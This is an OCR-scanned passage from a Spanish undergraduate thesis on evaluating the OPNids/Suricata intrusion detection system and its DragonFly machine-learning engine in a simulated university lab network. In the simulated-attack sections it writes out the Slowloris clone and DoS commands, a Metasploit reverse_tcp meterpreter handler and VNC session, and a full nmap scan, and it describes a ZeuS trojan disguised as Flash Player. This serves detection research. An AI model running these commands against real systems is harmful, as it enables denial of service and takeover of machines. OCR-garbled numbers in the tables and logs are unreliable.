disponibles en la red, qué servicios se ejecutan en esos hosts, qué

sistemas operativos, qué tipo de firewalls, entre otras caracteristicas.

Barrido de IP (IP
Sweep)

Ocurre cuando una direccion IP de origen envia un nimero definido de
paquetes ICMP a diferentes hosts dentro de un intervalo (0.005 s por
defecto). El objetivo es enviar los paquetes ICMP a distintos hosts
conectados a la red en busca de una respuesta, para descubrir una

direccion IP de destino.

Barrido de
puertos TCP (Port
Sweep TCP)

Ocurre cuando una direccion IP de origen envia paquetes IP que
contienen segmentos SYN de TCP a 10 puertos de destino diferentes en
un intervalo (5 milisegundos por defecto). El objetivo es verificar
puertos abiertos y por consecuencia los servicios disponibles puedan ser

identificados.

Barrido de
puertos UDP (Port
Sweep UDP)

La exploracion de puertos UDP proporciona informacion estadistica
sobre un umbral de sesién. A medida que llegan los paquetes, se
establecen las sesiones. EI nimero de sesiones que se exigen en el
umbral se basa en la zona, IP de origen y el periodo de umbral, y este

permite hasta 10 sesiones, para cada zona y direccion IP de origen.

Fuente: (Nmap, 2020), (Juniper, 2020a), (Juniper, 2020b), (Juniper, 2020c)

Realizado por: Herrera, Jonathan 2021.
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2.4. Etapa 3: Evaluar el desempefio y efectividad de la plataforma OPNids en la deteccion

de trafico de datos malicioso en la red del edifico de la FIE

En las etapas anteriores se detalld el procedimiento que se realizo para el disefio e implementacion
de la plataforma OPNids y el analisis del trafico de datos malicioso en el edificio de la FIE. Pero
como se detalla en la investigacion en el capitulo 1, el motor de machine learning DragonFly,
debe crear un modelo de entramiento para su algoritmo de clasificacién Random Forest con datos
de enteramiento correctos para evitar errores de sub-ajuste o sobre-ajuste que provocaria que el
modelo falle y no cumpla con su objetivo. A continuacion, se procede a detallar el procedimiento
que se llevo a cabo para evaluar el desempefio y efectividad de la plataforma OPNids en la
deteccion de trafico de datos malicioso en la FIE a través del entramiento simulado del motor de
machine learning DragonFly en conjunto del script adicional y ataques informaticos simulados.
Cabe recalcar que los dos procesos se realizaron de forma simulada debido a la pandemia del
COVID-19.

2.4.1. Entrenamiento simulado del motor de machine learning DragonFly

La plataforma OPNids es un proyecto Open Source que depende en la totalidad de sus
desarrolladores y la comunidad para avanzar en la integracion de sus herramientas, en especial el
motor de machine learning DragonFly el cual estd compuesto por varias dependencias y modulos
para su correcto funcionamiento como filtros de paquetes de Suricata, analizadores de red DNS,
HTTPS y el motor de machine learning. EI proceso de machine learning es realizado de forma
transparente para el usuario, se comprueba la falta de integracion entre DragonFly y OPNids en
la seccién 2.3.3.5 que detalla la configuracion del mismo; la cual es muy sencilla, carente de
visualizacion de los pardmetros de evaluacion de error que son necesarios para evaluar el
desempefio y efectividad de la plataforma OPNids cuando se utiliza algoritmos de machine
learning aplicados a la deteccion de intrusos a través del IDS Suricata, por esta razon en el presente
trabajo de titulacion se realizé la programacion de un script complementario para el motor de
machine learning DragonFly que nos permita obtener los pardmetros de evaluacién como:

precision, recall, puntaje F1 todos calculados a través de la matriz de confusién.

Se realiz6 el entrenamiento del motor de machine learning DragonFly en conjunto con el script
adicional de manera simulada por motivos de la pandemia del COVID-19, no se realizaron
pruebas en tiempo real y de forma fisica en el servidor de la FIE debido a la ausencia de

estudiantes y el nulo trafico de datos en la red, sin embargo, para cumplir con los objetivos del

73



presente trabajo de titulacion se realizé una simulacién en GNS3 como se observa en la Figura

24-2 del laboratorio de microondas del edifico de la FIE.

Area de servidores -
FIE-ESPOCH Laboratorio Microondas
FIE- ESPOCH
WEB-SERVER

SWACCESO 18 HOST

e4

e V)

B E

LAB-MICRO1-WIN7 LAB-MICRO2-WIN7 LAB-MICRO2 LAB-MICRO3

Figura 24-2: Laboratorio de la FIE simulado para entramiento del motor Dragonfly

Realizado por: Herrera, Jonathan 2021.

Para la simulacién se utilizé dos dataset o conjuntos de datos para obtener un mejor resultado del
entramiento y poder implementarlo en el servidor de la FIE en un futuro. Los datasets fueron:
KDD99 y OPNids-eve.json (logs) para testear el algoritmo Random Forest. La diferencia entre
estos datasets es que el log eve.json es el archivo del IDS Suricata que almacena todo el registro
de eventos de la red, es decir, la alertas que se generaron durante el mes y dos meses de analisis
del tréfico de datos de la vlan docentes y vlan estudiantes respectivamente de la red de la FIE,
dicho conjunto fue bajado del servidor para su procesamiento offline. Cabe recalcar que en los
dos procesos al manejar diferentes tipos de variables de salida es necesario codificar a los ataques
en 4 categorias como son DoS, U2R, R2L y Probe los mismos que ya fueron explicados en la

seccion 2.3.2.

2.4.1.1. Entrenamiento simulado del motor de machine learning DragonFly con dataset KDD99

En primer lugar, nos basamos en el andlisis de trafico de datos de la red de la FIE con sus
respectivas alertas detectadas en el periodo asignado a la semana de afinamiento del IDS Suricata
por la razén de no existir registro previo sobre ataques informaticos verificados 0 amenazas como
malware, troyanos, gusanos, entre otras. Se realizo una busqueda exhaustiva en los diferentes

sitios webs especializados en el procesamiento de trafico de datos malicioso para estudio y
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entrenamiento de algoritmos de machine learning, si bien lo mas dificil fue encontrar similitud
entre un dataset y el log de alertas de dicha semana se escogio6 el mas aproximado a las amenazas
detectadas en la intranet de la FIE. Entrenar el modelo en simulacion controlada es una forma
correcta para reducir el porcentaje de error; si un modelo no es correctamente entrenado existira
inconsistencia en sus predicciones y en el caso de la seguridad informatica no se puede dar el lujo
de existir un gran margen de imprecisién. Ademas de que para asegurar un algoritmo fiable se
necesita un dataset con un gran volumen de datos correctos de entrada y salida, esto es una
caracteristica de todo algoritmo de clasificacién, por esa razén no se puede utilizar un dataset
limitado. El conjunto de datos con trafico malicioso utilizado para el entrenamiento se encuentra
en el siguiente enlace web:
http://kdd.ics.uci.edu/databases/kddcup99/kddcup.data_10 percent.gz, como se observa la
Figura 25-2.

o A No es seqguro | kdd.ics.uciedu/data

Index of /databases/kddcup99

Parent Directory,

corrected. gz

kddcup data.gz

kddeup.data 10_percent.gz

kddcup names

kddeup newtestdata 10_percent unlabeled gz
kddcup testdata unlabeled gz

kddeup testdata unlabeled 10 _percent gz

kddcup99 html
task html

training_attack types
Tvpo-correction. txt

Figura 25-2: Dataset KDD99 con trafico de datos malicioso

Realizado por: Herrera, Jonathan 2021.

La pagina web presenta varios conjuntos de informacidn sobre trafico malicioso, es una de las
mas utilizadas para la creacion de sistemas de deteccidn de intrusos y en este caso particular para

el entrenamiento de modelos de machine learning.

La Figura 26-2 muestra parte de las alertas registradas en la semana del 02 al 09 de diciembre de
2019 de la plataforma OPNids-Suricata con el objetivo de correlacionar datos entre este registro
y el dataset KDD99, en el registro llevado a cabo de dicha semana se tratd de identificar hasta la

minima amenaza para acercarnos a un modelo de machine learning lo mas preciso posible.
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Figura 26-2:

Realizado por: Herrera, Jonathan 2021.

Registro de alertas en la semana de afinamiento de OPNids

El script adicional esta formado por varias partes que se ejecutan de manera progresiva, se lo llevo

a cabo en una simulacion de un laboratorio de la FIE con la herramienta GNS3. En primer lugar,

se debe importar todas las librerias y dependencia que se va a utilizar como son: pandas, numpy,

scipy, sklearn, matplotlib y seaborn, en segundo lugar, se procede a descargar y leer el dataset

KDD99 del URL, asi como se observa en la Figura 27-2.
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Figura 27-2: Dataset KDD99 sin etiquetas

Realizado por: Herrera, Jonathan 2021.

El dataset estd formado por 42 columnas y 5 filas en las que se observa son datos sin etiquetas, es

necesario etiquetar cada columna respectivamente al dato que contiene, como se observa en la

Figura 28-2.

duration
count 494821 . 888866
mean 47.979382
std 787 . 746472
min &8 . 888888
25% B.aaaa88
5@ B.aaaa88
75% B.aaaa88
Ma X 58329. 8800088

494821

@.

Ll = = I

dst_host_srv_rerror_rate

LBaaaaa
B57412
238148
L Baaaaa
L Baaaaa
L Baaaaa
L Baaaas
L Baaaas

Figura 28-2: Dataset KDD99 etiquetado

Realizado por: Herrera, Jonathan 2021.

76




Al verificar la variable de salida tiene como resultado 23 respuestas, por esta razon es necesario
codificar las mismas para clasificar y manejar los datos de mejor manera, en la Figura 29-2 se

observa la categorizacion de los 4 tipos de ataques y una adicional sobre el tipo de conexion.

Counter({ 'normal.': 97278,
‘u2r': 52,
‘dos': 391458,
‘r2l': 11286,
‘probe’: 41877})

Figura 29-2: Variables de salida codificadas

Realizado por: Herrera, Jonathan 2021.

Ningln dataset es enviado en su totalidad hacia el algoritmo de machine learning para su
entrenamiento, este debe ser limpiado de datos redundantes, vacios y correlacionados, por eso se

imprime la matriz de correlacién, como se observa en la Figura 30-2.
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Figura 30-2: Matriz de correlacion

Realizado por: Herrera, Jonathan 2021.
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La matriz de correlacion nos muestra que existe varios campos con una alta correlacion como se
observa en la figura 31-2, es decir, que existe duplicidad de informacién, se procede a limpiar los

datos y eliminar espacios vacios.

Feature 1 Feature 2 Correlation
num_compromised num_root B.9938277978855619

num_root num_compromised B.9938277978855619

serror_rate srv_serror_rate B8.9983615@72774875
srv_serror_rate serror_rate B.9983615872774875
rerror_rate srv_rerror_rate @.994738953976896
srv_rerror_rate rerror_rate @.994738953976896
dst_heost_srv_count dst_host_same_srv_rate B.9736354572882875
dst_host_same_srv_rate dst_host_srv_count B.9736854572882875
dst_host_serror_rate serror_rate B.99367296300859853
dst_host_srv_serror_rate serror_rate B.9978492485717336
dst_host_rerror_rate rerror_rate B.98699479249308166
dst_host_srv_rerror_rate rerror_rate B.985199554@727151

Figura 31-2: Correlacion de datos

Realizado por: Herrera, Jonathan 2021.

Para finalizar se procedié a la creacion de la semilla de entrenamiento la cual representa el 20%
de toda la muestra, por consecuencia su restante; el 80% sera utilizado para la evaluacion del
algoritmo Random forest. Entre sus caracteristicas Random forest nos permite escoger el tamafio
del “bosque” que deseamos crear, la técnica de ensamble, méximo y minimo nimero de hojas por
arbol, entre otras, teniendo en cuenta que mientras mas arboles de decision existan serd mas
preciso el modelo, pero su consumo de recursos es alto y ain mas si el mismo debe ejecutarse en
tiempo real, se necesitd constante andlisis del software corriendo el script y el motor DragonFly.

Los resultados serdn expuestos en el capitulo 3.

2.4.1.2. Entrenamiento simulado del motor de machine learning con dataset OPNids-eve.json

La informacion obtenida por el anélisis de trafico de datos de la red de la FIE se utiliz6 a partir
de terminada la semana de pruebas, es decir, desde el 13 de diciembre al 31 de enero de 2020,
con el objetivo de tener un dataset completo que permita evaluar al motor de machine learning
DragonFly en conjunto con su script adicional, el proceso realizado es el mismo que el detallado
para el dataset KDD99, con diferencia de su entrada de datos, la cual fue obtenida del archivo
“eve.json” como se observa en la Figura 32-2, en el cual registra todos los eventos en tiempo real
el IDS suricata, a continuacién seguimos los pasos de codificacion de las variables de salida, se
limpian los datos redundantes, para finalizar entrenamos y evaluamos el algoritmo, ademas los
datos son enviados hacia el motor DragonFly. De igual manera los resultados seran expuestos en

el capitulo 3.
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H , event_type :"tls", "src_i1p : 4.2 . 1b4. . , src_port : ,
:"192.168.232. 132", "dest_port':443, "proto™: "TCP", "t1s" : {"session_resumed”
version”:"TLS 1.2"}}

{"timestamp”:"2828-81-15TAB:51:88.412734-8588", "flow_id":1878482475545786, "in_if
ace™:"eml”, "event_type”:"tls”, "src_ip":"192,168.232.1", "src_port™:51793, "dest_ip
":"192.168.232.132", "dest_port™:443, "proto™:"TCP", "t 1s": {"session_resumed " :true,
"yersionm:"TLS 1.2"}}

{"timestamp" :"2028-81-15TAA:51:88.412737-8508", "flow_id":1394518575876218, "in_if
ace”:"eml", "event_type":"tls", "src_ip":"192.168.232.1", "src_port":51792, "dest_ip
":"192.168.232.132", "dest_port":443, "proto™:"TCP", "t 1s": {""session_resumed":true,
"werzion":"TLS 1.2"}}
{"timestamp”:"2828-81-15TAB:51:88.418759-8588", "flow_id" :18551560291087285, "in_if
ace”:"eml”, "event_type”:"tls"”, "src_ip":"192.168.232.1", "src_port":51796, "dest_ip
":"192,168.232.132", "dest_port™:443, "proto™:"TCP", "t 1s": {"session_resumed":true,
"yersionm:"TLS 1.2"}}

{"timestamp” :"2028-81-15THA:51:88.418818-8508", "flow_id":1978348545441632, "in_if
ace”:"eml”, "event_type”:"t1ls", "srec_ip":"192.168.232. 1", "src_port":51797, "dest_ip
":"192.168.232.132", "dest_port":443, "proto™:"TCP", "t 1s": {"session_resumed":true,
“"wersion":"TLS 1.2"3}}

{"tiMestamp” :"2828-81-15TAB:51:88.426691-8588", "flow_id":1765818497768642, "in_if
ace”:"eml”, "event_type”:"tls”, "src_ip":"192.168.232.1", "src_port":51794, "dest_ip
":i"192.168.232.132", "dest_port™:443, "proto™:"TCP", "t 1s": {"session_resumed":true,
"yersion”:"TLS 1.2"}}
!"tiMestaMp":"2828—81—15TBB:51:93.438582—8588","leH_id":2845511853853733,"in_if

est_1
true, "

Figura 32-2: Conjunto de datos de la plataforma OPNids

Realizado por: Herrera, Jonathan 2021.

2.4.2. Evaluacion de la plataforma OPNids a través de la simulacion de las amenazas

detectadas en la FIE mediante un escenario virtual

Después del entrenamiento simulado del motor de machine learning DragonFly en conjunto con
el script adicional se procedio a evaluar la plataforma OPNids a través de la simulacion de 4
ataques informaticos, uno por cada categoria: DoS, U2R, R2L y Probe, los cuales fueron
escogidos por medio del registro de las amenazas creado al momento del anélisis del trafico de

datos de la FIE realizado en la etapa 2.

La Figura 33-2 muestra la topologia de red estrella del laboratorio de microondas de la FIE en el
simulador GNS3, realizado en una computadora Asus con 16GB de RAM. El escenario se
asemeja al laboratorio de manera fisica, el cual esta formado por un Switch de acceso que conecta
los 18 host del laboratorio; por motivos de simulacion y recursos no fueron simulados en tu
totalidad, a su vez el switch de acceso se conecta a un switch de distribucién ubicado en el area
de servidores, en dicho switch se configurd un puerto SPAN o mirror para capturar todo el trafico
de datos y dirigirlo a la interfaz de red virtual conectada a la plataforma OPNids. En el area de
servidores se encuentra una maquina virtual con distribucién Centos 7 ejecutando un servidor
web Apache2, el cual sera un objetivo para el atacante, que es representado por una maquina
virtual con distribucion Kali-Linux configurado con dos adaptadores de red virtual. Todos los
hosts corren el sistema operativo Windows 7 porque es el que en ese momento se ejecutaba en
toda la FIE, el host LAB-MICRO1-WIN7 va a ser la maquita victima, ya que es una versién
explotable de Windows 7 con varias vulnerabilidades entre ellas las detectadas por OPNids, para
iniciar con los ataques se comprobd la conectividad de todo el escenario el cual mantiene un
direccionamiento de 192.168.193.XXX/24.
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Figura 33-2: Escenario simulado del laboratorio de la FIE para los ataques informaticos

Realizado por: Herrera, Jonathan 2021.

2.4.2.1. Seleccion de las amenazas detectas en la FIE para la simulacién de ataques

informaticos

El analisis de trafico de datos de la FIE presento un sin nimero de amenazas que fueron detectadas

y registradas, muchas de ellas fueron falsos positivos, pero otras si cumplieron con su objetivo de

ataque, intentos de DoS, malware y troyanos navegando en toda la red, escaneo de puertos, ip’s

y hasta busquedas de la IP publica fueron detectados, son estas las amenazas que fueron

seleccionadas de la vlan estudiantes y docentes para ser simuladas, a continuacion en la tabla 12-

2 se detallan las amenazas por cada categoria y de las cuales se buscd replicar el mismo ataque o

uno de similares caracteristicas para evaluar el modelo de machine learning con OPNids.

Tabla 12-2: Seleccion de amenazas para simulacion

Alerta Descripcion Caddigo

] Potencial ataque DOS a través del protocolo

ET DOS Possible SSDP o y ) o
o ) (SSDP) utilizado para la deteccion de dispositivos

Amplification Scan in
Plug & Play (UPnP). El protocolo es vulnerable a
Progress
ataques DoS y DDosS. DoS
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Tabla 12-2 (continuacién)

ET DELETED Spambot
Suspicious 220 Banner on

Local Port

Sospecha sobre posible bot de spam utilizando el
protocolo SMTP.

SURICATA Applayer Detect

protocol only one direction

Potencial conexién Command-Control detectada
en capa de aplicacién. Se puede tratar de un

malware, mineros o una red Botnet.

Es un malware troyano ZeroAccess 0 Zeus y todas | R2L

ET TROJAN ZeroAccess, ) o )
) sus versiones. Es utilizado para infectar de

ZeusS udp traffic detected L o

ransomware de encriptacion a la victima.

Potencial conexion Command-Control detectada

SURICATA Applayer Detect L
o en capa de aplicacion. Se puede tratar de un

protocol only one direction )

malware, mineros o una red Botnet.
ET POLICY SMB Remote | Violacion de politica utilizando posible técnica de U2R
AT Scheduled Job Create | movimiento lateral para ataque a traves del
Request — Possible Lateral | protocolo SMB.

Movement

Se realizo un escaneo de rango de ip’s con la
ET SCAN NMAP -sA (1) _

herramienta Nmap. PROBE

ET POLICY External IP

Check myexternalip.com

Escaneo de la IP publica con fines para dirigir un

ataque remoto.

Realizado por: Herrera, Jonathan 2021.

Las amenazas presentadas en la tabla 12-2 son aquellas que representan una prioridad alta y por
tal razon se escogieron para la simulacion de los ataques informaticos, si bien no se puede replicar
todas las amenazas con exactitud debido a que muchas de ellas no son faciles de encontrar para
su estudio por no estar liberadas, en cambio otras no adjuntan ningtin nimero de CVE (Common
Vulnerabilities and Exposures) para identificarlas, por esta razon nos basamos en el tipo de ataque

y protocolo utilizado para vulnerar al objetivo.

2.4.2.2. Evaluacién de la plataforma OPNids mediante ataque DoS Slowloris

Durante el andlisis de trafico de datos de la FIE se presentaron varias alertas de posibles intentos
de DoS o denegacion de servicio las cuales fueron identificadas en la tabla 12-2, verificando que

la red presenta vulnerabilidades ante dicho ataque y pueden ser explotadas. Por esta razon en el

81



escenario virtual se procedio a instalar un servidor web Apache 2 en una maquina virtual con
distribucién Centos 7, se configuro su pagina por defecto y la victima estaria lista, en la Figura

34-2 se observa la pagina web con su direccion IP.

Apache HTTP Server Test Page po. X .

< C @ © & 192168193138 w neoe® =

This page is used to test the proper operation of the Apache HTTP server after it has been
installed. If you can read this page it means that this site is working properly. This server is
powered by CentOS.

Just visiting? Are you the Administrator?
The website you just visited is either experiencing problems You should add your website content to the directory /var/www/html/
or is undergoing routine maintenance. To prevent this page from ever being used, follow the instructions in the file

etc/httpd/conf.d/welcome.conf
If you would like to let the administrators of this website know that you've seen
this page instead of the page you expected, you should send them e-mail. In Promoting Apache and CentOS
general, mail sent to the name "webmaster” and directed to the website's

domain should reach the appropriate person You are free to use the images below on Apache and CentOS Linux powered

HTTP servers. Thanks for using Apache and CentOS!

Eor eyample if vou experienced nrohlems while visiting www eyample com

Figura 34-2: Pagina web por defecto de apache2

Realizado por: Herrera, Jonathan 2021.

Después de buscar varias herramientas para ejecutar un DoS se escogid a Slowloris que es una de
las mas utilizadas para ejecutar este tipo de ataque informatico, su proceso se basa en inundar de
peticiones HTTP REQUEST al servidor; al recibir miles de peticiones y no poder establecer una
conexion Request-Response exitosa la pagina “se cae”, deja de funcionar hasta que las peticiones
secén o sean procesadas, slowloris a través de una linea de comandos puede enviar cientos, miles
y hasta millones de paquetes en un corto periodo de tiempo, en este caso el ataque se realizo desde
lamaquina de Kali-Linux desplegada en el escenario virtual. Para comenzar el ataque es necesario
descargar la herramienta a nuestro Kali-Linux para ello se abre un terminal y se escribe el

siguiente comando:

git clone https://github.com/llaera/slowloris.pl.qgit.

Una vez que hayamos clonado la herramienta del repositorio nos dirigimos al directorio de la

descarga y escribimos la siguiente linea de comando para iniciar el ataque:

perl slowloris.pl —dns 192.168.193.138 —port 80 —time 1 —num 2000 —cache.
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El comando indica a slowloris que debe enviar 2000 paquetes cada segundo hacia la direccién ip
del servidor por el puerto 80 y que se van a almacenar en el cache de la interfaz de red del servidor.
De manera casi inmediata se intenta recargar la pagina del servidor web, la misma que empieza a
presentar problemas hasta que deja de funcionar como se observa en la Figura 35-2, el ataque ha

sido exitoso. Los resultados del ataque seran detallados en el capitulo 3.

Favoritos 2 @) Sitios sugeridos v @) Galeria de We cew

@ Internet Explorer no puede mostrar la pagina web BB -0 m

@ Internet Explorer no puede mostrar la pagina web

Puede intentar lo siguiente:

|_Diagnosticar problemas de conexién |

¥) Mas informacién

Figura 35-2: Pagina web sin acceso por ataque DoS

Realizado por: Herrera, Jonathan 2021.

2.4.2.3. Evaluacién de la plataforma OPNids mediante ataque de Remote to Local R2L

Una de las amenazas detectadas en el trafico de datos de la FIE fueron los diferentes tipos de
malware, este tipo de ataque esta en la categoria “R2L”, aunque también puede presentarse en la

“U2R”, todo depende del tipo de malware y el objetivo que tenga el atacante.

La amenaza para la simulacion de este ataque fue el malware trojan ZeroAccess, ZeuS, Zbot o
cualquiera de sus variantes ya que dicho malware funciona de la misma manera. Se realizo la
busqueda y en el repositorio de investigacion de la empresa Gibson Research Corporation y lo
descargamos. Si bien este ataque se lo realiza de forma voluntaria sobre el host LAB-MICRO1-
WINTY; el cual esta sin conexion a internet para evitar que se propague por la red, al contrario, un
atacante estudia a la victimay a través de ingenieria social o phishing logra engafiarla para que lo
descargue y ejecute. EI malware viene enmascarado dentro de un .exe para la instalacion del
complemento Adobe Flash Player, al momento de instalar se genera un error y el archivo de
instalacion desaparece, eso se aprecia en los circulos rojos como se observa en la Figura 36-2. Al
tratarse de un ataque R2L, el atacante obtiene el control del dispositivo de la victima, pero de
forma silenciosa para ejecutar sus objetivos por tal motivo se concluye el ataque de forma exitosa.

Los resultados del ataque seran detallados en el capitulo 3.
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“' Control de cuentas de usuario

@ :Desea permitir que este programa realice cambios en
& el equipo?

0 Nombre del programa:  Adobe Flash Player
Editor comprobado:  Adobe Systems Incorporated

Origen del archivo: Unidad de disco duro en este equipo Gt

Reintentar

V) Mostrar detalles Si No

Figura 36-2: Instalacién del malware encapsulado en Flash Player

Realizado por: Herrera, Jonathan 2021.

Después de que el malware se encuentra instalado, puede pasar mucho tiempo en que el usuario
se dé cuenta que esta infectado, ya que ZeroAccess se utiliza de manera remota ya sea para
controlar o espiar a la victima, ademas que puede instalar backdoors, criptomineros o ser parte de

una red Botnet que empezara a utilizar los recursos de hardware de su anfitrién.

2.4.2.4. Evaluacion de la plataforma OPNids mediante ataque de User to Root U2R

Una de las amenazas detectadas en el trafico de datos de la FIE fueron los diferentes tipos de
malware, este tipo de ataque esta en la categoria “U2R”. La amenaza para la simulacion de este
ataque fue el malware msf Venom, un malware dirigido para tomar control y escalar privilegios
en la maquina victima. ElI malware fue creado en el framework Metasploit desde la maquina

virtual del atacante Kali Linux del escenario simulado como se observa en la Figura 37-2.

=[ t oit 1
--=[ 1915 exploits - 1074 auxiliary - 330 post

--=[ 556 payloads - 45 encoders - 10 nops
--=[ 4 evasion

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf5 exploit( ) > set LHOST 192.168.193.135

LHOST => 192.168.193.135

msf5 exploit( ) > set exitonsession false

exitonsession => false

msf5 exploit( ) > exploit -j

[*] Exploit running as background job ©.

[*] Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.193.135:4444
msf5 exploit( ) > 11

Figura 37-2: Creacién y explotacién de msf venom
Realizado por: Herrera, Jonathan 2021.

84



Para crear el malware se usa el exploit multi/handler en conjunto con el payload de Windows para
establecer una conexidn en reversa tcp, se debe conocer la ip de la victima, que en este caso es
LAB-MICRO1-WIN7, el puerto de escucha seré el 4444 por defecto. Una vez creado el malware
procedemos a infectar a la victima y a tener control total del equipo, como se observa en la figura

38-2, podemos revisar el escritorio de la victima a través del comando run vnc.

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.193.135 LPORT=4545
Running payload handler
VNC stager executable 73802 bytes long
Uploaded the VNC agent to C:\Users\ECFORE~1\AppData\Local\Temp\ghwMYqG.exe (m
ust be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.193.135:4545...
meterpreter > |

TightVNC: win7

oe2] last_ve...

s

Papelera de fotos-nuevas  cmd - Acceso
reciclaje directo

iy

informe ejemplol

< N

Figura 38-2: Usuario escalando en privilegios, escritorio vnc

Realizado por: Herrera, Jonathan 2021.

2.4.2.5. Evaluacién de la plataforma OPNids mediante ataque de escaneo o probe

Como ultimo atague se encuentra la categoria de escaneo, que no es un ataque propiamente dicho,
pero infringe las propiedades de la seguridad, este ataque es de los mas importantes al momento
que un atacante planea ejecutar uno y el primero que se realiza para encontrar vulnerabilidades
que pueden ser aprovechadas por €él. Puertos abiertos, servicios ejecutandose, version de sistema
operativo, software sin actualizar es informacién que puede obtener un escaner de red. La
amenaza para la simulacién de este ataque fue a través de la famosa herramienta Nmap. El ataque
se ejecutd desde la maquina de Kali Linux en su version gréfica llamada Zenmap, se utiliz6 esta
herramienta debido a la facilidad que nos proporciona para poder escoger entre varios tipos de

escaneos como: rapido, medio, intenso, todos los puertos, todos los servicios, entre otros y que es
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una herramienta integrada dentro de la distribucion de Kali, en la figura 39-2 se observa el escaneo

de la red, su equivalente comando para nmap es: Nmap -p1-65535 -T4 -A -v 192.168.193.0./24

Zenmap e ® 0 Zenmap o6 o
Scan Tools Profile Help pett etk Doty LA
- r rarget: [192.168.193.0/24 v | Profile: |Quick scar v scan|
Target: {192.168.193.0/24 v Profile: |Intense scan, all TCP ports v | |Scan| |Cancel|

Fommand: [nmap -T4 -F 192.168.193.0/24
Command: 'nmap-p1-65535-T4 -A -v192.168.193.0/24

Hosts | Services Nmap Output | Ports J Hosts | Topology | Host Details Scans
s v | nmap-T4-F192168.193.024 4| = |Details
192.168.1931 Nmap scan report for 192.168.193.137 “

Hosls“ Services Nmap Output | Ports / Hosts ' Topology Host Details Scans

0S  Host v nmap -p 1-65535 -T4 -A -v192.168.193.0/24

]

v| 2 N . Host is up (0.08014s latency)
> 192168.195128 | ot shown: 89 closed ports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 15:35 EST W 192168193129 PORT STATE SERVICE

NSE: Loaded 151 scripts for scanning.

- ® 192168193135 135/tep  open msrpc
NSE: Script Pre-scanning. R SINERETT :32.:;:,: open netbios-ssn
Initiating NSE at 15:35 /tcp  open microsoft-ds
Completed NSE at 15:35, 0.60s elapsed W ol02168103254 || 330ER  oRen e o server
Initiating NSE at 15:35 49152/tcp open  unknown
Completed NSE at 15:35, 0.600s elapsed 49153/tep open unknown

Initiating NSE at 15:35 49154/tcp open “":’“’"‘“

: 43155/tcp open  unknown
Completed NSE at 15:35, 0.00s elapsed fa1aerech ohen mminow
Initiating ARP Ping Scan at 15:35 49157/tcp open  unknoun

Scanning 255 hosts [1 port/host] MAC Address: 00:0C:29:14:57:33 (VMware)
Completed ARP Ping Scan at 15:35, 1.69s elapsed (255 total
Faeey Nmap scan report for 192.168.193.254

Host is up (0.88011s latency)
Initiating Parallel DNS resolution of 255 hosts. at 15:35 Ellter Hasts ALl 188 scanned perts on 192.168.193.254 are filtered

Figura 39-2: Escaneo de la red del escenario simulado

Realizado por: Herrera, Jonathan 2021.

El escaneo se encarga en inundar de trafico ICMP tipo 7 “echo request” a toda la red. La Figura
39-2 muestra la informacién obtenida del escaneo realizado a toda la red como es: los hosts
conectados a la red, puertos TCP o UDP abiertos, los servicios que utilizan dichos puertos hasta
con la version instalada, la misma que si resulta estar sin actualizar o soporte de seguridad es una
potencial vulnerabilidad. El ataque ha sido exitoso, los resultados del ataque seran detallados en

el capitulo 3.

86



CAPITULO 11l

3. GESTION DEL PROYECTO

3.1.Resultados y analisis

En el presente capitulo se muestran los resultados obtenidos del analisis de trafico de datos en el
edificio de la FIE a través de la plataforma OPNids, en las cuales se evidencia el trafico de datos
analizado, las amenazas de ataques informaticos recibidos en la infraestructura de red del edificio
de la FIE, resultados del entrenamiento del motor de machine learning DragonFly y los resultados
de la evaluacion de la plataforma OPNids a través de los ataques informaticos simulados en un
escenario virtual. La gestion del proyecto se enmarca a nivel investigativo y desarrollo en
laboratorios controlados en busqueda de nuevas opciones Open Source que ofrece el mercado de

la seguridad informatica.

3.2. Tréfico de datos y amenazas informaticas detectadas en la red del edificio de la FIE

Mediante el analisis de trafico de datos del edifico de la FIE explicado en el capitulo 2 se obtuvo
como resultados la presencia de trafico de datos malicioso representado a travées de las amenazas
informéticas detectadas por la plataforma OPNids. Las amenazas son eventos variables que se
pueden presentar en mayor o menor medida, todo depende del comportamiento de la red y la
informacion que se transmitan en ella. El tréfico de datos de la FIE esta formado por tres Vlan:

Estudiantes, Docentes y administrativos.

La Vlan estudiantes presenté una mayor cantidad de amenazas y es l6gico, pues la red esta al
servicio de todos los estudiantes que la utilizan para desarrollar sus actividades académicas
ademas de que tienen uso libre de conectar cualquier dispositivo a la red, por lo general sus
computadores portatiles, al contrario, con la vlan docentes y administrativos que registraron una
cantidad menor de amenazas, de igual forma el comportamiento de estas vlan es l6gico ya que los
docentes utilizan los equipos menos tiempo debido a su carga horariay el personal administrativo

no presento un cambio mayor.
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3.2.1. Tréfico de datos y amenazas detectadas en la Vlan Estudiantes

El andlisis de trafico de datos de la Vlan estudiantes comenz en semana de pruebas desde el 02
de diciembre de 2019 aproximadamente a las 8 AM, se analizo el tréfico durante toda la jornada
académica diurnay vespertina con la finalidad de comprobar el funcionamiento de la plataforma,
registro de alertas y andlisis de paguetes. El andlisis se realizé en dos meses; el primero inicio el
09 de diciembre de 2019 a las 8 AM y culminé el 02 de enero de 2020, el segundo inici6 del 02
de enero al 03 de febrero de 2020, siendo estos meses los que se registr6 mayor trafico de datos
en lared de la FIE con gran cantidad de usuarios activos. El procedimiento se detall6 en el capitulo

2y se obtuvo los siguientes resultados:

Tabla 1-3: Estadisticas del trafico de datos analizados por OPNids en la Vlan Estudiantes

Mes Diciembre

Descripcion # de paquetes Porcentaje del total
Paquetes in 218776744 100%
Paquetes out 5323 0.0024%
Total Bytes 37.23 GB

Mes Enero
Paquetes in 205686423 100%
Paquetes out 4820 0.0023%
Total Bytes 35.50 GB

Realizado por: Herrera, Jonathan 2021.

En la tabla 1-3 se observa la cantidad de trafico de datos, los paquetes de entrada y salida que
analizo OPNids de los cuales, en el mes de diciembre 2019 analiz6 un total de 218M de paguetes
de entrada siendo el 100% y un 0.0024% de paquetes de salida, esto tiene una explicacion ya que
el servidor posee configurado un puerto SPAN (promiscuo) y monitorea todo el trafico de la
interfaz de red de bajada mas no de subida. El total de bytes analizados fue de 37.23 Gb. En el
segundo mes correspondiente a enero 2020 y los primeros dias de febrero, OPNids analizo 205M
de paquetes de entrada siendo el 100% del mes de enero 2020 y un 0.0023% de paquetes de salida.
